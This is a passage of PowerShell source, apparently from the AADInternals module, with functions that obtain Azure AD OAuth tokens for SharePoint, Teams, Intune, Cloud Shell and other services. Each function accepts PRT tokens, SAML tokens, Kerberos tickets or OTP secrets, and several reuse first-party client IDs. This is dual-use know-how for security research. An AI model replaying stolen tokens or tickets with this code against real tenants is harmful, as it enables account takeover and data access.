.Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter Tenant The tenant name of the organization, ie. company.onmicrosoft.com -> "company" .Parameter Admin Get the token for admin portal .Example Get-AADIntAccessTokenForSPO .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForSPO -Credentials $cred -Tenant "company" #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { # Get access and refresh tokens #$clientId = "fdd7719f-d61e-4592-b501-793734eb8a0e" # SharePoint Migration Tool #$clientId = "9bc3ab49-b65d-410a-85ad-de819febfddc" # SPO Management shell $clientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c" # Microsoft Office $graphTokens = Get-AccessToken -Resource "https://graph.microsoft.com" -ClientId $clientId -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -Tenant $Tenant -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -IncludeRefreshToken $True -OTPSecretKey $OTPSecretKey -TAP $TAP # Get SPO root site url $response = Call-MSGraphAPI -AccessToken $graphTokens[0] -ApiVersion Beta -API "sites/root" -QueryString "select=webUrl" $SPOUrl = $response.webUrl.TrimEnd("/") $tenant = $SPOUrl.Split(".")[0] # Get SPO tokens $SPOtokens = Get-AccessTokenWithRefreshToken -Resource "$($tenant).sharepoint.com" -ClientId $clientId -RefreshToken $graphTokens[1] -IncludeRefreshToken $true -TenantId "Common" $SPOtokens_my = Get-AccessTokenWithRefreshToken -Resource "$($tenant)-my.sharepoint.com" -ClientId $clientId -RefreshToken $graphTokens[1] -IncludeRefreshToken $true -TenantId "Common" $SPOtokens_admin = Get-AccessTokenWithRefreshToken -Resource "$($tenant)-admin.sharepoint.com" -ClientId $clientId -RefreshToken $graphTokens[1] -IncludeRefreshToken $true -TenantId "Common" if($SaveToCache) { # Add tokens to cache Add-AccessTokenToCache -AccessToken $graphTokens[0] -RefreshToken $graphTokens[1] -ShowCache $false Add-AccessTokenToCache -AccessToken $SPOtokens[0] -RefreshToken $SPOtokens[1] -ShowCache $false Add-AccessTokenToCache -AccessToken $SPOtokens_my[0] -RefreshToken $SPOtokens_my[1] -ShowCache $false Add-AccessTokenToCache -AccessToken $SPOtokens_admin[0] -RefreshToken $SPOtokens_admin[1] -ShowCache $false } else { return @($SPOtokens[0],$SPOtokens_my[0],$SPOtokens_admin[0]) } } } # Gets the access token for My Signins # Jul 1st 2020 function Get-AccessTokenForMySignins { <# .SYNOPSIS Gets OAuth Access Token for My Signins .DESCRIPTION Gets OAuth Access Token for My Signins, which is used for example when registering MFA. .Parameter Credentials Credentials of the user. .Example PS C:\>Get-AADIntAccessTokenForMySignins #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [switch]$SaveToCache, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { return Get-AccessToken -ClientId 1b730954-1685-4b74-9bfd-dac224a7b894 -Resource "0000000c-0000-0000-c000-000000000000" -ForceMFA $true -Credentials $Credentials -SaveToCache $SaveToCache -KerberosTicket $KerberosTicket -Domain $Domain -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets an access token for Azure AD Join # Aug 26th 2020 function Get-AccessTokenForAADJoin { <# .SYNOPSIS Gets OAuth Access Token for Azure AD Join .DESCRIPTION Gets OAuth Access Token for Azure AD Join, allowing users' to register devices to Azure AD. .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Parameter BPRT Bulk PRT token, can be created with New-AADIntBulkPRTToken .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter Tenant The tenant name of the organization, ie. company.onmicrosoft.com -> "company" .Example Get-AADIntAccessTokenForAADJoin .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForAADJoin -Credentials $cred #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='SAML',Mandatory=$False)] [Switch]$Device, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [Parameter(ParameterSetName='BPRT',Mandatory=$True)] [string]$BPRT, [Parameter(Mandatory=$False)] [String]$Tenant, [switch]$SaveToCache, [switch]$ForceMFA, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { if($Device) { Get-AccessTokenWithDeviceSAML -SAML $SAMLToken -SaveToCache $SaveToCache } else { Get-AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -SaveToCache $SaveToCache -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -ForceMFA $ForceMFA -BPRT $BPRT -OTPSecretKey $OTPSecretKey -TAP $TAP } } } # Gets an access token for Intune MDM # Aug 26th 2020 function Get-AccessTokenForIntuneMDM { <# .SYNOPSIS Gets OAuth Access Token for Intune MDM .DESCRIPTION Gets OAuth Access Token for Intune MDM, allowing users' to enroll their devices to Intune. .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter BPRT Bulk PRT token, can be created with New-AADIntBulkPRTToken .Parameter Tenant The tenant name of the organization, ie. company.onmicrosoft.com -> "company" .Parameter Certificate x509 device certificate. .Parameter TransportKeyFileName File name of the transport key .Parameter PfxFileName File name of the .pfx device certificate. .Parameter PfxPassword The password of the .pfx device certificate. .Parameter Resource The resource to get access token to, defaults to "https://enrollment.manage.microsoft.com/". To get access to AAD Graph API, use "https://graph.windows.net" .Example Get-AADIntAccessTokenForIntuneMDM .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForIntuneMDM -Credentials $cred #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [switch]$ForceMFA, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [Parameter(ParameterSetName='BPRT',Mandatory=$True)] [string]$BPRT, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(Mandatory=$False)] [string]$PfxFileName, [Parameter(Mandatory=$False)] [string]$PfxPassword, [Parameter(Mandatory=$False)] [string]$TransportKeyFileName, [Parameter(Mandatory=$False)] [string]$Resource="https://enrollment.manage.microsoft.com/", [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { Get-AccessToken -ClientId "29d9ed98-a469-4536-ade2-f981bc1d605e" -Resource $Resource -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -SaveToCache $SaveToCache -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -Certificate $Certificate -PfxFileName $PfxFileName -PfxPassword $PfxPassword -BPRT $BPRT -ForceMFA $ForceMFA -TransportKeyFileName $TransportKeyFileName -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets an access token for Azure Cloud Shell # Sep 9th 2020 function Get-AccessTokenForCloudShell { <# .SYNOPSIS Gets OAuth Access Token for Azure Cloud Shell .DESCRIPTION Gets OAuth Access Token for Azure Cloud Shell .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Example Get-AADIntAccessTokenForOneOfficeApps .Example PS C:\>$cred=Get-Credential PS C:\>Get-AADIntAccessTokenForCloudShell -Credentials $cred #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { # First, get an access token for admin.microsoft.com $response = Get-AccessToken -Resource "https://admin.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -SaveToCache $SaveToCache -Tenant $Tenant -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP if([string]::IsNullOrEmpty($response.Tenant)) { $access_token = $response } # Get access token for management.core.windows.net using Admin API Get-AccessTokenUsingAdminAPI -AccessToken $access_token -Resource "https://management.core.windows.net/" -SaveToCache $SaveToCache } } # Gets an access token for Teams # Oct 3rd 2020 function Get-AccessTokenForTeams { <# .SYNOPSIS Gets OAuth Access Token for Teams .DESCRIPTION Gets OAuth Access Token for Teams .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Example Get-AADIntAccessTokenForTeams .Example PS C:\>Get-AADIntAccessTokenForTeams -SaveToCache #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [ValidateSet("https://api.spaces.skype.com", "https://outlook.com", "https://*.microsoftstream.com", "https://graph.microsoft.com")] [String]$Resource="https://api.spaces.skype.com", [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { Get-AccessToken -Resource $Resource -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -SaveToCache $SaveToCache -Tenant $Tenant -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets an access token for Azure AD Management API # Nov 11th 2020 function Get-AccessTokenForAADIAMAPI { <# .SYNOPSIS Gets OAuth Access Token for Azure AD IAM API .DESCRIPTION Gets OAuth Access Token for Azure AD IAM API .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Example Get-AADIntAccessTokenForAADIAMAPI .Example PS C:\>Get-AADIntAccessTokenForAADIAMAPI -SaveToCache #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [string]$TAP ) Process { # First get the access token for AADGraph $AccessTokens = Get-AccessToken -Resource "https://graph.windows.net" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -Tenant $Tenant -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -IncludeRefreshToken $True # Get the actual token $AccessToken = Get-AccessTokenWithRefreshToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -SaveToCache $SaveToCache -RefreshToken $AccessTokens[1] -TenantId (Read-Accesstoken $AccessTokens[0]).tid if(!$SaveToCache) { return $AccessToken } } } # Gets an access token for MS Commerce # Aug 27th 2021 function Get-AccessTokenForMSCommerce { <# .SYNOPSIS Gets OAuth Access Token for MS Commerce .DESCRIPTION Gets OAuth Access Token for MS Commerce .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Example Get-AADIntAccessTokenForMSCommerce .Example PS C:\>Get-AADIntAccessTokenForMSCommerce -SaveToCache #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { Get-AccessToken -Resource "aeb86249-8ea3-49e2-900b-54cc8e308f85" -ClientId "3d5cffa9-04da-4657-8cab-c7f074657cad" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -SaveToCache $SaveToCache -Tenant $Tenant -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets an access token for MS Partner # Sep 22nd 2021 function Get-AccessTokenForMSPartner { <# .SYNOPSIS Gets OAuth Access Token for MS Partner .DESCRIPTION Gets OAuth Access Token for MS Partner .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Example Get-AADIntAccessTokenForMSCommerce .Example PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { # The correct client id would be 4990cffe-04e8-4e8b-808a-1175604b879f but that flow doesn't work :( Get-AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -SaveToCache $SaveToCache -Tenant $Tenant -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets an access token for admin.microsoft.com # Sep 22nd 2021 function Get-AccessTokenForAdmin { <# .SYNOPSIS Gets OAuth Access Token for admin.microsoft.com .DESCRIPTION Gets OAuth Access Token for admin.microsoft.com .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Example Get-AADIntAccessTokenForAdmin .Example PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { Get-AccessToken -Resource "https://admin.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -SaveToCache $SaveToCache -Tenant $Tenant -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets an access token for onenote.com # Feb 2nd 2022 function Get-AccessTokenForOneNote { <# .SYNOPSIS Gets OAuth Access Token for onenote.com .DESCRIPTION Gets OAuth Access Token for onenote.com .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Example Get-AADIntAccessTokenForOneNote .Example PS C:\>Get-AADIntAccessTokenForOneNote -SaveToCache #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { Get-AccessToken -Resource "https://onenote.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -SaveToCache $SaveToCache -Tenant $Tenant -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets an access token for for Access Packages # Apr 24th 2023 function Get-AccessTokenForAccessPackages { <# .SYNOPSIS Gets OAuth Access Token for Access Packages .DESCRIPTION Gets OAuth Access Token for Access Packages .Parameter Credentials Credentials of the user. .Parameter PRT PRT token of the user. .Parameter SAML SAML token of the user. .Parameter UserPrincipalName UserPrincipalName of the user of Kerberos token .Parameter KerberosTicket Kerberos token of the user. .Parameter UseDeviceCode Use device code flow. .Example Get-AADIntAccessTokenForAccessPackages .Example PS C:\>Get-AADIntAccessAccessPackages -SaveToCache #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='SAML',Mandatory=$True)] [String]$SAMLToken, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$KerberosTicket, [Parameter(ParameterSetName='Kerberos',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='DeviceCode',Mandatory=$True)] [switch]$UseDeviceCode, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { Get-AccessToken -Resource "https://elm.iga.azure.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -SaveToCache $SaveToCache -Tenant $Tenant -PRTToken $PRTToken -UseDeviceCode $UseDeviceCode -OTPSecretKey $OTPSecretKey -TAP $TAP } } # Gets an access token for Windows Hello for Business # May 20th 2023 function Get-AccessTokenForWHfB { <# .SYNOPSIS Gets OAuth Access Token for Windows Hello for Business .DESCRIPTION Gets OAuth Access Token for Windows Hello for Business, allowing users to register WHfB key. .Parameter PRT PRT token of the user. .Example $prttoken = Get-AADIntUserPRTToken -Method TokenProvider Get-AADIntAccessTokenForWHfB -PRTToken $prttoken #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$PRTToken, [Parameter(ParameterSetName='Credentials',Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [switch]$SaveToCache, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP ) Process { # Prompt credentials as that's the only allowed method $response = Prompt-Credentials -ClientID "dd762716-544d-4aeb-a526-687b73838a22" -Resource "urn:ms-drs:enterpriseregistration.windows.net" -RefreshTokenCredential $PRTToken -ForceNGCMFA $True -Credentials $Credentials -OTPSecretKey $OTPSecretKey -TAP $TAP $parsedAccessToken = Read-Accesstoken -AccessToken $response.access_token if([string]::IsNullOrEmpty($parsedAccessToken.DeviceId)) { Write-Warning "No DeviceId claim present, device authentication failed. Expired PRT token?" } # Save to cache or return if($SaveToCache) { Add-AccessTokenToCache -AccessToken $response.access_token -RefreshToken $response.refresh_token -ShowCache $true } else { return $response.access_token } } } # Gets the access token for provisioning API and stores to cache # Refactored Jun 8th 2020 function Get-AccessToken { <# .SYNOPSIS Gets OAuth Access Token for the given client and resource. Using the given authentication method. If not provided, uses interactive logon. .DESCRIPTION Gets OAuth Access Token for the given client and resource. Using the given authentication method. If not provided, uses interactive logon. .Example $at=Get-AADIntAccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://graph.microsoft.com" .Example Get-AADIntAccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://graph.microsoft.com" -SaveToCache $true -IncludeRefreshToken $true AccessToken saved to cache. Tenant : 9779e97e-de19-45be-87ab-a7ed3e86fa62 User : [email protected] Resource : https://graph.microsoft.com Client : d3590ed6-52b3-4102-aeff-aad2292ab01c #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(ParameterSetName='PRT',Mandatory=$False)] [String]$PRTToken, [Parameter(Mandatory=$False)] [String]$SAMLToken, [Parameter(Mandatory=$True)] [String]$Resource, [Parameter(Mandatory=$True)] [String]$ClientId, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [String]$KerberosTicket, [Parameter(Mandatory=$False)] [String]$Domain, [Parameter(Mandatory=$False)] [bool]$SaveToCache, [Parameter(Mandatory=$False)] [bool]$SaveToMgCache, [Parameter(Mandatory=$False)] [bool]$IncludeRefreshToken=$false, [Parameter(Mandatory=$False)] [bool]$ForceMFA=$false, [Parameter(Mandatory=$False)] [bool]$ForceNGCMFA=$false, [Parameter(Mandatory=$False)] [bool]$UseDeviceCode=$false, [Parameter(Mandatory=$False)] [bool]$UseIMDS=$false, [Parameter(Mandatory=$False)] [String]$MsiResId, [Parameter(Mandatory=$False)] [String]$MsiClientId, [Parameter(Mandatory=$False)] [String]$MsiObjectId, [Parameter(Mandatory=$False)] [string]$BPRT, [Parameter(Mandatory=$False)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(Mandatory=$False)] [string]$PfxFileName, [Parameter(Mandatory=$False)] [string]$PfxPassword, [Parameter(Mandatory=$False)] [string]$TransportKeyFileName, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP, [Parameter(Mandatory=$False)] [string]$RedirectUri ) Begin { # List of clients requiring the same client id $requireClientId=@( "cb1056e2-e479-49de-ae31-7812af012ed8" # Pass-through authentication "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" # Azure Admin web ui "1fec8e78-bce4-4aaf-ab1b-5451cc387264" # Teams "d3590ed6-52b3-4102-aeff-aad2292ab01c" # Office, ref. https://docs.microsoft.com/en-us/office/dev/add-ins/develop/register-sso-add-in-aad-v2 "a0c73c16-a7e3-4564-9a95-2bdf47383716" # EXO Remote PowerShell "389b1b32-b5d5-43b2-bddc-84ce938d6737" # Office Management API Editor https://manage.office.com "ab9b8c07-8f02-4f72-87fa-80105867a763" # OneDrive Sync Engine "d3590ed6-52b3-4102-aeff-aad2292ab01c" # SPO "29d9ed98-a469-4536-ade2-f981bc1d605e" # MDM "0c1307d4-29d6-4389-a11c-5cbe7f65d7fa" # Azure Android App "6c7e8096-f593-4d72-807f-a5f86dcc9c77" # MAM "4813382a-8fa7-425e-ab75-3b753aab3abb" # Microsoft authenticator "8c59ead7-d703-4a27-9e55-c96a0054c8d2" "c7d28c4f-0d2c-49d6-a88d-a275cc5473c7" # https://www.microsoftazuresponsorships.com/ "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Azure CLI "ecd6b820-32c2-49b6-98a6-444530e5a77a" # Edge "1950a258-227b-4e31-a9cf-717495945fc2" # Microsoft Azure PowerShell ) } Process { if(![String]::IsNullOrEmpty($KerberosTicket)) # Check if we got the kerberos token { # Get token using the kerberos token if([string]::IsNullOrEmpty($Tenant)) { $Tenant = "common" } $OAuthInfo = Get-AccessTokenWithKerberosTicket -KerberosTicket $KerberosTicket -Domain $Domain -Resource $Resource -ClientId $ClientId -Tenant $Tenant $access_token = $OAuthInfo.access_token } elseif(![String]::IsNullOrEmpty($PRTToken)) # Check if we got a PRT token { # Get token using the PRT token $OAuthInfo = Get-AccessTokenWithPRT -Cookie $PRTToken -Resource $Resource -ClientId $ClientId -Tenant $Tenant $access_token = $OAuthInfo.access_token } elseif($UseDeviceCode) # Check if we want to use device code flow { # Get token using device code $OAuthInfo = Get-AccessTokenUsingDeviceCode -Resource $Resource -ClientId $ClientId -Tenant $Tenant $access_token = $OAuthInfo.access_token } elseif($UseIMDS) # Check if we want to use IMDS { # Get token using Azure Instance Metadata Service (IMDS) $access_token = Get-AccessTokenUsingIMDS -ClientId $MsiClientId -ObjectId $MsiObjectId -AzureResourceId $MsiResId -Resource $Resource } 